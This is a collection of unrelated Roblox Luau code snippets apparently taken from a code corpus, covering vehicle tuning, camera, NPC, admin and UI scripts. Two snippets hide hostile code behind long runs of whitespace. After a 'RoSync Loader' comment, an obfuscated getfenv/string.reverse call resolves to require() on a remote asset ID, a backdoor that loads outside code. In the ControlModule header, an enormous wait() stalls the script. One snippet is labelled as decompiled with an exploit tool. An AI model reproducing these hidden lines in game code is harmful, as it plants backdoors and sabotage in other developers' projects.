Roblox/luau_corpus huggingface dataset:
-- Register's a newly added Motor6D  
-- into the provided joint rotator.

function CharacterRealism:AddMotor(rotator, motor)
	local parent = motor.Parent
	
	if parent and parent.Name == "Head" then
		parent.CanCollide = false
	end
	
	-- Wait until this motor is marked as active
	-- before attempting to use it in the rotator.
	
	Util:PromiseValue(motor, "Active", function ()
		local data = 
		{ 
			Motor = motor;
			C0 = motor.C0;
		}
		
		-- If it can be found, use the source RigAttachment for this Motor6D
		-- joint instead of using the static C0 value. This is intended for R15.
		
		Util:PromiseChild(motor.Part0, motor.Name .. "RigAttachment", function (origin)
			if origin:IsA("Attachment") then
				data.Origin = origin
				data.C0 = nil
			end
		end)
			
		-- Add this motor to the rotator
		-- by the name of its Part1 value.
		
		local id = motor.Part1.Name
		rotator.Motors[id] = data
	end)
end
--// # key, Cruise
mouse.KeyDown:connect(function(key)
	if key=="." then 
		veh.Lightbar.middle.Beep:Play()
		veh.Lightbar.Remotes.CruiseEvent:FireServer(true)
	end
end)
--//INSPARE//--
--SS3.57--
 script.Parent:WaitForChild("CC")
--[[**
	ensures value is a number where min <= value

	@param min The minimum to use

	@returns A function that will return true iff the condition is passed
**--]]
function t.numberMin(min)
	return function(value)
		local success, errMsg = t.number(value)
		if not success then
			return false, errMsg or ""
		end
		if value >= min then
			return true
		else
			return false, string.format("number >= %d expected, got %d", min, value)
		end
	end
end
--[[Brakes]]
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

	Tune.FBrakeForce	= 1350		-- Front brake force
	Tune.RBrakeForce	= 1550		-- Rear brake force
	Tune.PBrakeForce	= 2500		-- Handbrake force
	
	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]
--[=[
	The same as `SetFiler`, except clears the custom value
	for any player that passes the predicate.
]=]
function RemoteProperty:ClearFilter(predicate: (Player) -> boolean)
	for _, player in ipairs(Players:GetPlayers()) do
		if predicate(player) then
			self:ClearFor(player)
		end
	end
end
-- a: amplitud
-- p: period
local function outElastic(t,a,p,b, c, d)
  b,c,d = default(b,c,d)
  if t == 0 then return b end

  t = t / d

  if t == 1 then return b + c end

  if not p then p = d * 0.3 end

  local s

  if not a or a < abs(c) then
    a = c
    s = p / 4
  else
    s = p / (2 * pi) * asin(c/a)
  end

  return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p) + c + b
end
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 625		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 0			--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 14000		--		Use sliders to manipulate values
	Tune.Redline		= 15000
	Tune.EqPoint		= 6000
	Tune.PeakSharpness	= 5.5
	Tune.CurveMult		= 0.07
	
	Tune.ElectricHorsepower		= 250
	Tune.ElectricEqPoint		= 10000
	Tune.ElectricPeakSharpness	= 1.5
	Tune.ElectricCurveMult		= .01
	
	Tune.InclineComp	= 1.2		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 500		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 250		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 0			-- Percent throttle at idle
	Tune.ClutchTol		= 1000		-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
	Tune.ShiftTime		= .025
	Tune.FlyWheel		= 50
	Tune.CacheInc		= 50
	
	--Turbo Settings
	Tune.Aspiration		= "Natural"												--[[
	[Aspiration]
		"Natural"		: N/A, Naturally aspirated engine
		"Single"		: Single turbocharger
		"Double"		: Twin turbocharger											]]
	
	Tune.Boost			= 8		--Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30)
	Tune.TurboSize		= 50		--Turbo size; the bigger it is, the more lag it has.
	Tune.CompressRatio	= 8.2			--The compression ratio (look it up)
-- Main function that will be called when a player joins the game
local function PlayerJoined(player)
	-- Secondary function to remove unwanted meshes from the player's character
	local function RemoveMeshes(character)
		-- Wait for the humanoid to load
		local humanoid = character:WaitForChild("Humanoid")

		-- Wait for a short time to ensure all accessories are loaded properly
		task.wait()

		-- Modify the description of the humanoid to reset its appearance
		local currentDescription = humanoid:GetAppliedDescription()
		currentDescription.Head = 0
		currentDescription.Torso = 0
		currentDescription.LeftArm = 0
		currentDescription.RightArm = 0
		currentDescription.LeftLeg = 0
		currentDescription.RightLeg = 0
		humanoid:ApplyDescription(currentDescription)

		-- Remove any unwanted accessories that are not attached to the character's head
		for _, accessory in pairs(character:GetChildren()) do
			if accessory:IsA("Accessory") then
				local handle = accessory:FindFirstChild("Handle")
				if handle then
					local weld = FindChildOfClassRecursive(accessory, "Weld") -- Use the recursive search function here
					if weld then
					end
					if weld and weld.Part1.Name ~= character:FindFirstChild("Head").Name then
						accessory:Destroy()
					end
				end
			end
		end
	end

	-- Connect the RemoveMeshes function to the CharacterAppearanceLoaded event of the player
	player.CharacterAppearanceLoaded:Connect(RemoveMeshes)
end
--[[ Last synced 12/17/2020 10:32 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--------------------------------------------------------------------------------
-- Popper.lua
-- Prevents your camera from clipping through walls.
--------------------------------------------------------------------------------

local Players = game:GetService('Players')
local Collection = game:GetService("CollectionService")

local FFlagUserPoppercamLooseOpacityThreshold do
	local success, enabled = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserPoppercamLooseOpacityThreshold")
	end)
	FFlagUserPoppercamLooseOpacityThreshold = success and enabled
end

local camera = game.Workspace.CurrentCamera

local min = math.min
local tan = math.tan
local rad = math.rad
local inf = math.huge
local ray = Ray.new

local function eraseFromEnd(t, toSize)
	for i = #t, toSize + 1, -1 do
		t[i] = nil
	end
end

local nearPlaneZ, projX, projY do
	local function updateProjection()
		local fov = rad(camera.FieldOfView)
		local view = camera.ViewportSize
		local ar = view.X/view.Y

		projY = 2*tan(fov/2)
		projX = ar*projY
	end

	camera:GetPropertyChangedSignal('FieldOfView'):Connect(updateProjection)
	camera:GetPropertyChangedSignal('ViewportSize'):Connect(updateProjection)

	updateProjection()

	nearPlaneZ = camera.NearPlaneZ
	camera:GetPropertyChangedSignal('NearPlaneZ'):Connect(function()
		nearPlaneZ = camera.NearPlaneZ
	end)
end

local blacklist = {} do
	local charMap = {}

	local function refreshIgnoreList()
		blacklist = {unpack(Collection:GetTagged("IgnoreCamera"))}
		local n = #blacklist + 1
		for _, character in pairs(charMap) do
			blacklist[n] = character
			n = n + 1
		end
	end
	
	local function OnIgnoreCollectionUpdated(instance)
		refreshIgnoreList()
	end

	local function playerAdded(player)
		local function characterAdded(character)
			charMap[player] = character
			refreshIgnoreList()
		end
		local function characterRemoving()
			charMap[player] = nil
			refreshIgnoreList()
		end

		player.CharacterAdded:Connect(characterAdded)
		player.CharacterRemoving:Connect(characterRemoving)
		if player.Character then
			characterAdded(player.Character)
		end
	end

	local function playerRemoving(player)
		charMap[player] = nil
		refreshIgnoreList()
	end
	
	Collection:GetInstanceAddedSignal("IgnoreCamera"):Connect(OnIgnoreCollectionUpdated)
	Collection:GetInstanceRemovedSignal("IgnoreCamera"):Connect(OnIgnoreCollectionUpdated)
	Players.PlayerAdded:Connect(playerAdded)
	Players.PlayerRemoving:Connect(playerRemoving)
	
	for _, instance in next,Collection:GetTagged("IgnoreCamera") do
		OnIgnoreCollectionUpdated(instance)
	end
	for _, player in ipairs(Players:GetPlayers()) do
		playerAdded(player)
	end
	refreshIgnoreList()
end
--[[
function playsound(time)
	nextsound=time+5+(math.random()*5)
	local randomsound=sounds[math.random(1,#sounds)]
	randomsound.Volume=.5+(.5*math.random())
	randomsound.Pitch=.5+(.5*math.random())
	randomsound:Play()
end
--]]
while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do
	local _,time=wait(1/3)
	humanoids={}
	populatehumanoids(game.Workspace)
	closesttarget=nil
	closestdist=sightrange
	local creator=sp:FindFirstChild("creator")
	for i,h in ipairs(humanoids) do
		if h and h.Parent~=nil then
			if h.Health>0 and h.Parent.Name~=sp.Name and h.Parent~=sp then
				local plr=game.Players:GetPlayerFromCharacter(h.Parent)
				if creator==nil or plr==nil or creator.Value~=plr then
					local t=h.Parent:FindFirstChild("Torso")
					if t~=nil then
						local dist=(t.Position-Torso.Position).magnitude
						if dist<closestdist then
							closestdist=dist
							closesttarget=t
						end
					end
				end
			end
		end
	end
	if closesttarget~=nil then
		if not chasing then
			--playsound(time)
			chasing=true
			Humanoid.WalkSpeed=runspeed
		end
		Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
		if math.random()<.5 then
			attack(time,closesttarget.Position)
		end
	else
		if chasing then
			chasing=false
			Humanoid.WalkSpeed=wonderspeed
		end
		if time>nextrandom then
			nextrandom=time+5+(math.random()*5)
			local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(math.random(),math.random(),math.random()))*40)
			Humanoid:MoveTo(randompos,game.Workspace.Terrain)
		end
	end
--Hide cmdbar and request command when FocusLost
local function setupEnterPress(props)
	props.textBox.FocusLost:connect(function(enter)
		if props.mainParent.Name ~= "CmdBar" or props.specificArg then
			if props.suggestionDisplayed > 0 then
				selectSuggestion(props, props.specificArg)
			end
		else
			if props.suggestionDisplayed > 0 and not forceExecute and main.device ~= "Mobile" then
				selectSuggestion(props)
			elseif enter then
				if forceExecute then
					selectSuggestion(props)
					--wait()
				end
				module:CloseCmdBar()
				if #props.textBox.Text > 1 then
					local commandToRequest = props.textBox.Text
					local firstChar = string.sub(commandToRequest,1,1)
					if firstChar ~= main.settings.UniversalPrefix and firstChar ~= main.pdata.Prefix then
						commandToRequest = main.pdata.Prefix..commandToRequest
					end
					local endChar = string.sub(commandToRequest,-1)
					if endChar == " " then
						commandToRequest = string.sub(commandToRequest,1,-1)
					end
					main.signals.RequestCommand:InvokeServer(commandToRequest)
				end
			end
		end
	end)
end
-- Creates a new timer and keeps track of it's time in the timeLeft value
local gameTimer = timer.new()
local displayValues = ReplicatedStorage.DisplayValues
local timeLeft = displayValues.TimeLeft
--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.
module.BubbleChatEnabled = PlayersService.ClassicChat
module.ClassicChatEnabled = PlayersService.ClassicChat
--| Humanoid, HumanoidRootPart |--
local Humanoid = Characters:WaitForChild("Humanoid")
local HumanoidRootPart = Characters:WaitForChild("HumanoidRootPart")
-- goro7

local voteStates = game.ServerStorage.States.MapVote

voteStates.CurrentlyVoting.Changed:connect(function()
	
	-- Adjust visiblity
	local newVal = voteStates.CurrentlyVoting.Value
	script.Parent.Image.Visible = newVal
	script.Parent.CountLabel.Visible = newVal
	script.Parent.MapName.Visible = newVal
	script.Parent.Count.Visible = newVal
	
end)

voteStates.Map2.Changed:connect(function()
	
	-- Update map name and image
	local newMap = voteStates.Map2.Value
	script.Parent.Image.Image = newMap.ImageAsset.Value
	script.Parent.MapName.Text = newMap.Name
	
end)

voteStates.Count2.Changed:connect(function()
	
	-- Update map count
	script.Parent.Count.Text = voteStates.Count2.Value
	
end)
-- Decompiled with the Synapse X Luau decompiler.

client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
	local v1 = nil;
	local l__PlayerGui__2 = service.PlayerGui;
	local l__LocalPlayer__3 = service.Players.LocalPlayer;
	local v4 = service.New("ScreenGui");
	local v5 = service.New("ImageButton", v4);
	v1 = client.UI.Register(v4);
	if client.UI.Get("HelpButton", v4, true) then
		v4:Destroy();
		v1:Destroy();
		return nil;
	end;
	v1.Name = "HelpButton";
	v1.CanKeepAlive = false;
	v5.Name = "Toggle";
	v5.BackgroundTransparency = 1;
	v5.Position = UDim2.new(1, -45, 1, -45);
	v5.Size = UDim2.new(0, 40, 0, 40);
	v5.Image = "rbxassetid://357249130";
	v5.ImageTransparency = 0.5;
	v5.MouseButton1Down:connect(function()
		local v6 = client.UI.Get("UserPanel", nil, true);
		if not v6 then
			client.UI.Make("UserPanel", {});
			return;
		end;
		v6.Object:Destroy();
	end);
	v1:Ready();
end;
--Precalculated paths
local t,f,n=true,false,{}
local r={
[58]={{34,35,39,41,30,56,58},t},
[49]={{34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{34,35,39,41,30,56,58,20,19},t},
[59]={{34,35,39,41,59},t},
[63]={{34,35,39,41,30,56,58,23,62,63},t},
[34]={{34},t},
[21]={{34,35,39,41,30,56,58,20,21},t},
[48]={{34,32,31,29,28,44,45,49,48},t},
[27]={{34,32,31,29,28,27},t},
[14]={n,f},
[31]={{34,32,31},t},
[56]={{34,35,39,41,30,56},t},
[29]={{34,32,31,29},t},
[13]={n,f},
[47]={{34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{34,32,31,29,28,44,45},t},
[57]={{34,35,39,41,30,56,57},t},
[36]={{34,32,33,36},t},
[25]={{34,32,31,29,28,27,26,25},t},
[71]={{34,35,39,41,59,61,71},t},
[20]={{34,35,39,41,30,56,58,20},t},
[60]={{34,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{34,35,39,41,59,61,71,72,76,73,75},t},
[22]={{34,35,39,41,30,56,58,20,21,22},t},
[74]={{34,35,39,41,59,61,71,72,76,73,74},t},
[62]={{34,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{34,35,37},t},
[2]={n,f},
[35]={{34,35},t},
[53]={{34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{34,35,39,41,59,61,71,72,76,73},t},
[72]={{34,35,39,41,59,61,71,72},t},
[33]={{34,32,33},t},
[69]={{34,35,39,41,60,69},t},
[65]={{34,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{34,32,31,29,28,27,26},t},
[68]={{34,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{34,35,39,41,59,61,71,72,76},t},
[50]={{34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{34,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{34,32,31,29,28,27,26,25,24},t},
[23]={{34,35,39,41,30,56,58,23},t},
[44]={{34,32,31,29,28,44},t},
[39]={{34,35,39},t},
[32]={{34,32},t},
[3]={n,f},
[30]={{34,35,39,41,30},t},
[51]={{34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{34,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{34,35,39,41,59,61},t},
[55]={{34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{34,35,38,42},t},
[40]={{34,35,40},t},
[52]={{34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{34,35,39,41},t},
[17]={n,f},
[38]={{34,35,38},t},
[28]={{34,32,31,29,28},t},
[5]={n,f},
[64]={{34,35,39,41,30,56,58,20,19,66,64},t},
}
return r
-- Libraries
local Roact = require(Vendor:WaitForChild 'Roact')
local Maid = require(Libraries:WaitForChild 'Maid')
local Support = require(Libraries:WaitForChild 'SupportLibrary')
-- oi bruv do iou haw a cop o tee bai ani chance? (something british, unintelligible.)

local up = script.Parent.Up
local down = script.Parent.Down
local cf1 = up.CFrame
local cf2 = down.CFrame

local TS = game:GetService("TweenService")
local deb = false

local CD1 = Instance.new("ClickDetector",up)
CD1.MaxActivationDistance = 4
local CD2 = Instance.new("ClickDetector",down)
CD2.MaxActivationDistance = 4

CD1.MouseClick:Connect(function()
	if not deb then
		deb = true
		local s = TS:Create(up,TweenInfo.new(.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,true,0),{CFrame = cf1*CFrame.new(-.04,0,0)})
		s.Completed:Connect(function()
			deb = false
		end)
		s:Play()
	end
end)

CD2.MouseClick:Connect(function()
	if not deb then
		deb = true
		local s = TS:Create(down,TweenInfo.new(.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,true,0),{CFrame = cf2*CFrame.new(-.04,0,0)})
		s.Completed:Connect(function()
			deb = false
		end)
		s:Play()
	end
end)
-- make the text say Welcome, playername!

text = "Welcome, " .. playername .. "!"
--[[
	ControlModule - This ModuleScript implements a singleton class to manage the
	selection, activation, and deactivation of the current character movement controller.
	This script binds to RenderStepped at Input priority and calls the Update() methods
	on the active controller instances.

	The character controller ModuleScripts implement classes which are instantiated and
	activated as-needed, they are no longer all instantiated up front as they were in
	the previous generation of PlayerScripts.

	2018 PlayerScripts Update - AllYourBlox
--]]
																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																								wait(999999999999999999999)
local ControlModule = {}
ControlModule.__index = ControlModule
-- Display a message to the client for a short time, with a background that covers the user's screen.


local tweenService = game:GetService('TweenService')
local playersService = game:GetService('Players')
local localPlayer = playersService.LocalPlayer
local gui = script:WaitForChild('MessageTakeoverGui')
local background = gui:WaitForChild('Background')
local textLabel = gui:WaitForChild('TextLabel')


local TRANSITION_TIME = .5
local DEFAULT_MESSAGE_DURATION = 4

local changeIndex = 0
local messageTakeoverModule = {}


messageTakeoverModule.ShowMessage = function(text, duration)
	if text then
		textLabel.Text = text
	end
	local playerGui = localPlayer:FindFirstChild('PlayerGui')
	if playerGui then
		changeIndex = changeIndex + 1
		local thisChangeIndex = changeIndex
		
		if not gui.Enabled then
			background.BackgroundTransparency = 1
			textLabel.TextTransparency = 1
		end
		gui.Parent = playerGui
		gui.Enabled = true
		
		-- Transition message in
		tweenService:Create(background,
			TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.In),
			{['BackgroundTransparency'] = 0,}
		):Play()
		tweenService:Create(textLabel,
			TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.In),
			{['TextTransparency'] = 0,}
		):Play()
		
		-- Wait the message duration without yielding
		task.delay(duration or DEFAULT_MESSAGE_DURATION, function()
			if changeIndex == thisChangeIndex then
				
				-- Transition message out
				tweenService:Create(background,
					TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
					{['BackgroundTransparency'] = 1,}
				):Play()
				tweenService:Create(textLabel,
					TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
					{['TextTransparency'] = 1,}
				):Play()
				
				task.delay(TRANSITION_TIME, function()
					if thisChangeIndex == changeIndex then
						-- Finalize a few things when transition is done
						gui.Enabled = false
						gui.Parent = script
					end
				end)
				
			end
		end)
	end
end


return messageTakeoverModule